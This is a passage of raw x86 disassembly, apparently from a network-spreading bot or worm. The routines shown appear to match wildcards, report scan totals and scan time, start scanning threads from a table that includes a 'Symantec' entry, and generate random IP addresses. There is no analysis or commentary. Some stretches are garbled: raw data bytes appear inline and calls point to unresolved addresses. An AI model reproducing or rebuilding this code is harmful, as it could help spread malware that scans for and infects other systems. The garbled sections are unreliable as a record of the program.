		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B76A:				; CODE XREF: sub_40B706+37j
					; sub_40B706+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B710
; ---------------------------------------------------------------------------


loc_40B770:				; CODE XREF: sub_40B706+Ej
					; sub_40B706+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B780
		cmp	eax, 1
		jnz	short loc_40B797
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B770
; ---------------------------------------------------------------------------


loc_40B780:				; CODE XREF: sub_40B706+6Dj
		cmp	eax, 1
		jnz	short loc_40B797
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B797
		cmp	byte ptr [esi],	0
		jnz	short loc_40B797
		push	1
		pop	eax
		jmp	short loc_40B799
; ---------------------------------------------------------------------------


loc_40B797:				; CODE XREF: sub_40B706+72j
					; sub_40B706+7Dj ...
		xor	eax, eax


loc_40B799:				; CODE XREF: sub_40B706+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B706	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B79C	proc near		; CODE XREF: sub_40B706+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7BD
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7BD:				; CODE XREF: sub_40B79C+19j
		push	ebx
		push	esi


loc_40B7BF:				; CODE XREF: sub_40B79C+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7CD
		cmp	[ebp+var_4], eax
		jnz	short loc_40B819


loc_40B7CD:				; CODE XREF: sub_40B79C+2Aj
		test	edi, edi
		jnz	short loc_40B80E
		cmp	bl, 2Dh
		jnz	short loc_40B802
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B802
		cmp	al, 5Dh
		jz	short loc_40B802
		cmp	[ebp+var_4], edi
		jnz	short loc_40B802
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B80E
		cmp	bl, al
		jg	short loc_40B80E
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B80E
; ---------------------------------------------------------------------------


loc_40B802:				; CODE XREF: sub_40B79C+38j
					; sub_40B79C+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B80E
		push	1
		pop	edi


loc_40B80E:				; CODE XREF: sub_40B79C+33j
					; sub_40B79C+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7BF
; ---------------------------------------------------------------------------


loc_40B819:				; CODE XREF: sub_40B79C+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B826
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B826:				; CODE XREF: sub_40B79C+82j
		cmp	edi, eax
		jnz	short loc_40B82F
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B82F:				; CODE XREF: sub_40B79C+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B79C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B834	proc near		; CODE XREF: sub_40B706+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B850:				; CODE XREF: sub_40B834+3Aj
		cmp	[eax], bl
		jz	short loc_40B870
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B865
		cmp	cl, 2Ah
		jnz	short loc_40B870
		cmp	cl, 3Fh
		jnz	short loc_40B868


loc_40B865:				; CODE XREF: sub_40B834+25j
		inc	eax
		mov	[edi], eax


loc_40B868:				; CODE XREF: sub_40B834+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B850
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: sub_40B834+1Ej
					; sub_40B834+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B87B
		inc	dword ptr [esi]
		jmp	short loc_40B870
; ---------------------------------------------------------------------------


loc_40B87B:				; CODE XREF: sub_40B834+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B89C
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B88D
		xor	eax, eax
		jmp	short loc_40B8FC
; ---------------------------------------------------------------------------


loc_40B88D:				; CODE XREF: sub_40B834+53j
		cmp	cl, bl
		jnz	short loc_40B89C
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B89C
		push	1
		pop	eax
		jmp	short loc_40B8FC
; ---------------------------------------------------------------------------


loc_40B89C:				; CODE XREF: sub_40B834+4Dj
					; sub_40B834+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B706
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8E6


loc_40B8AA:				; CODE XREF: sub_40B834+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8AE:				; CODE XREF: sub_40B834+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8C6
		cmp	cl, 5Bh
		jz	short loc_40B8C6
		cmp	dl, bl
		jz	short loc_40B8C6
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8AE
; ---------------------------------------------------------------------------


loc_40B8C6:				; CODE XREF: sub_40B834+82j
					; sub_40B834+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8DD
		push	eax
		push	dword ptr [esi]
		call	sub_40B706
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8E2
; ---------------------------------------------------------------------------


loc_40B8DD:				; CODE XREF: sub_40B834+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8E2:				; CODE XREF: sub_40B834+A7j
		cmp	eax, ebx
		jnz	short loc_40B8AA


loc_40B8E6:				; CODE XREF: sub_40B834+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B8F9
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B8F9
		mov	[ebp+var_4], 1


loc_40B8F9:				; CODE XREF: sub_40B834+B6j
					; sub_40B834+BCj
		mov	eax, [ebp+var_4]


loc_40B8FC:				; CODE XREF: sub_40B834+57j
					; sub_40B834+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B901	proc near		; CODE XREF: sub_401AC7+2AC2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431BEC
		push	eax
		xor	ebx, ebx
		call	sub_41C006
		cmp	dword_431808, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B973
		push	esi
		mov	esi, offset dword_431810


loc_40B934:				; CODE XREF: sub_40B901+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B969
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431BE0
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C950
		add	esp, 1Ch


loc_40B969:				; CODE XREF: sub_40B901+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B934
		pop	esi


loc_40B973:				; CODE XREF: sub_40B901+2Bj
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C950
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9CF	proc near		; CODE XREF: sub_401AC7+2AACp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CBE10
		mov	ecx, dword_4CBE0C
		push	esi
		push	dword_4C9044
		lea	esi, [ecx+eax]
		call	sub_41AD74
		push	eax
		push	esi
		push	dword_4CBE10
		lea	eax, [ebp+var_200]
		push	dword_4CBE0C
		push	offset unk_431C0C
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA3A	proc near		; CODE XREF: sub_401AC7+2A96p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CC058
		push	offset unk_431C54
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 2Ch
		leave
		retn
sub_40BA3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA8E	proc near		; CODE XREF: sub_401AC7+2A80p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C2A0
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431CA0
		push	eax
		call	sub_41C006
		cmp	dword_431808, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BAFA
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAC3:				; CODE XREF: sub_40BA8E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C90
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C950
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAC3
		pop	esi


loc_40BAFA:				; CODE XREF: sub_40BA8E+2Dj
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C950
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415CEE
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40BA8E	endp

; ---------------------------------------------------------------------------
dword_40BB54	dd 81EC8B55h, 3F0ECh, 8458B00h,	6A575653h, 59F08B4Bh, 0FECCBD8Dh
					; DATA XREF: sub_401AC7+30C9o
		dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh
		dd 4415FF50h, 33004C93h, 0F84589FFh, 18083D39h,	7D890043h
		dd 87D89FCh, 114840Fh, 8BB0000h, 8B004318h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40BBA5:				; CODE XREF: ___:0040BCACj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C336
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCA2
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CF0
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409862
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415CEE
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C006
		lea	eax, [ebp-15Ch]
		push	esi
		push	eax
		call	sub_41C006
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC3D
		lea	eax, [ebp-124h]


loc_40BC3D:				; CODE XREF: ___:0040BC35j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C006
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCA2:				; CODE XREF: ___:0040BBB8j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBA5
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CBC
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409862
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-18h]
		call	sub_40B6C9
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dd 2D42FBE8h
		db 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD05	proc near		; CODE XREF: sub_401AC7+23DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_40BD41
		mov	eax, [ebp+arg_C]
		push	dword_4C9450[eax*8]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431D40
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_40BD54
; ---------------------------------------------------------------------------


loc_40BD41:				; CODE XREF: sub_40BD05+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431D20
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BD05+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 18h
		leave
		retn
sub_40BD05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD7C	proc near		; CODE XREF: sub_40C3D3+263p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C24E
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431814[eax], ebx
		jz	loc_40C24E
		push	5
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_40C003
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CB50C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CB71C, eax
		mov	dword_4CB718, ebx
		nop
		call	near ptr 2670000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CB610
		call	sub_41BD70
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CB508, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CB7A0, eax
		jnz	short loc_40BE2F
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB720
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB7A4, 1
		jmp	short loc_40BE49
; ---------------------------------------------------------------------------


loc_40BE2F:				; CODE XREF: sub_40BD7C+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB720
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB7A4, ebx


loc_40BE49:				; CODE XREF: sub_40BD7C+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CB71C
		push	offset unk_42C208
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	dword_4CB714, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB508
		push	offset byte_412155
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CB714
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40BEB7


loc_40BEA5:				; CODE XREF: sub_40BD7C+139j
		cmp	dword_4CB7A8, ebx
		jnz	short loc_40BED2
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_40BEA5
; ---------------------------------------------------------------------------


loc_40BEB7:				; CODE XREF: sub_40BD7C+127j
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E60
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40BED2:				; CODE XREF: sub_40BD7C+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		mov	eax, dword_4C9040
		mov	esi, offset dword_4CB7B4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CB9C4, eax
		mov	dword_4CB9C0, ebx
		nop
		call	near ptr 2670000h
		push	103h
		push	edi
		push	offset dword_4CB8B8
		call	sub_41BD70
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CB7B0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CBA48, eax
		push	7Fh
		jnz	short loc_40BF53
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB9C8
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CBA4C, 1
		jmp	short loc_40BF6D
; ---------------------------------------------------------------------------


loc_40BF53:				; CODE XREF: sub_40BD7C+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB9C8
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CBA4C, ebx


loc_40BF6D:				; CODE XREF: sub_40BD7C+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CB9C4
		push	offset unk_431E2C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	dword_4CB9BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB7B0
		push	offset word_40F37A
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CB9BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40BFDB


loc_40BFC9:				; CODE XREF: sub_40BD7C+25Dj
		cmp	dword_4CBA50, ebx
		jnz	short loc_40BFF6
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40BFC9
; ---------------------------------------------------------------------------


loc_40BFDB:				; CODE XREF: sub_40BD7C+24Bj
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DF8
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40BFF6:				; CODE XREF: sub_40BD7C+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40C003:				; CODE XREF: sub_40BD7C+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43181C[ecx], ebx
		jz	loc_40C12C
		push	7
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_40C126
		mov	eax, dword_4CC050
		cmp	[ebp+arg_90], bl
		mov	dword_4CB474, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CB468, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CB470, ebx
		mov	dword_4CB4F8, eax
		push	7Fh
		jnz	short loc_40C077
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB478
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB4FC, 1
		jmp	short loc_40C091
; ---------------------------------------------------------------------------


loc_40C077:				; CODE XREF: sub_40BD7C+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB478
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB4FC, ebx


loc_40C091:				; CODE XREF: sub_40BD7C+2F9j
		push	dword_4CB474
		lea	eax, [ebp+var_204]
		push	offset unk_431DC8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3AD
		add	esp, 18h
		mov	dword_4CB46C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB468
		push	offset dword_40F0D8
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CB46C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40C0FE


loc_40C0EC:				; CODE XREF: sub_40BD7C+380j
		cmp	dword_4CB500, ebx
		jnz	short loc_40C119
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40C0EC
; ---------------------------------------------------------------------------


loc_40C0FE:				; CODE XREF: sub_40BD7C+36Ej
		call	near ptr 26807F9h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D90
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40C119:				; CODE XREF: sub_40BD7C+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40C126:				; CODE XREF: sub_40BD7C+2A8j
		mov	eax, [ebp+arg_130]


loc_40C12C:				; CODE XREF: sub_40BD7C+298j
		shl	eax, 6
		cmp	dword_431818[eax], ebx
		jz	loc_40C24E
		push	3
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_40C24E
		mov	esi, offset dword_4CBCE4
		push	104h
		push	esi
		push	ebx
		call	near ptr 2670000h
		nop
		push	5Ch
		push	esi
		call	sub_41C5B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C16D
		mov	[eax], bl


loc_40C16D:				; CODE XREF: sub_40BD7C+3EDj
		mov	eax, dword_42907C
		mov	dword_4CBDFC, ebx
		mov	dword_4CBDE8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBA5C
		call	sub_41C006
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CBA58, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CBDE8
		mov	dword_4CBDF4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CBDF8, ecx
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C190
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	dword_4CBDF0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBA58
		push	offset sub_40FAA3
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CBDF0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40C226


loc_40C214:				; CODE XREF: sub_40BD7C+4A8j
		cmp	dword_4CBE04, ebx
		jnz	short loc_40C241
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40C214
; ---------------------------------------------------------------------------


loc_40C226:				; CODE XREF: sub_40BD7C+496j
		call	near ptr 26807F9h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D5C
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40C241:				; CODE XREF: sub_40BD7C+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40C24E:				; CODE XREF: sub_40BD7C+14j
					; sub_40BD7C+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C252	proc near		; CODE XREF: sub_40C3D3:loc_40C444p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4C9450h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C922C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C9300
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CAB0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C29A	proc near		; CODE XREF: sub_40C3D3+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B960
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2C2
		xor	eax, eax
		jmp	short loc_40C333
; ---------------------------------------------------------------------------


loc_40C2C2:				; CODE XREF: sub_40C29A+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CA73
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C2EF
		call	sub_41C062
		mov	[ebp+var_C], eax


loc_40C2EF:				; CODE XREF: sub_40C29A+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C2FC
		call	sub_41C062
		mov	[ebp+var_8], eax


loc_40C2FC:				; CODE XREF: sub_40C29A+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C309
		call	sub_41C062
		mov	[ebp+var_4], eax


loc_40C309:				; CODE XREF: sub_40C29A+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C315
		call	sub_41C062


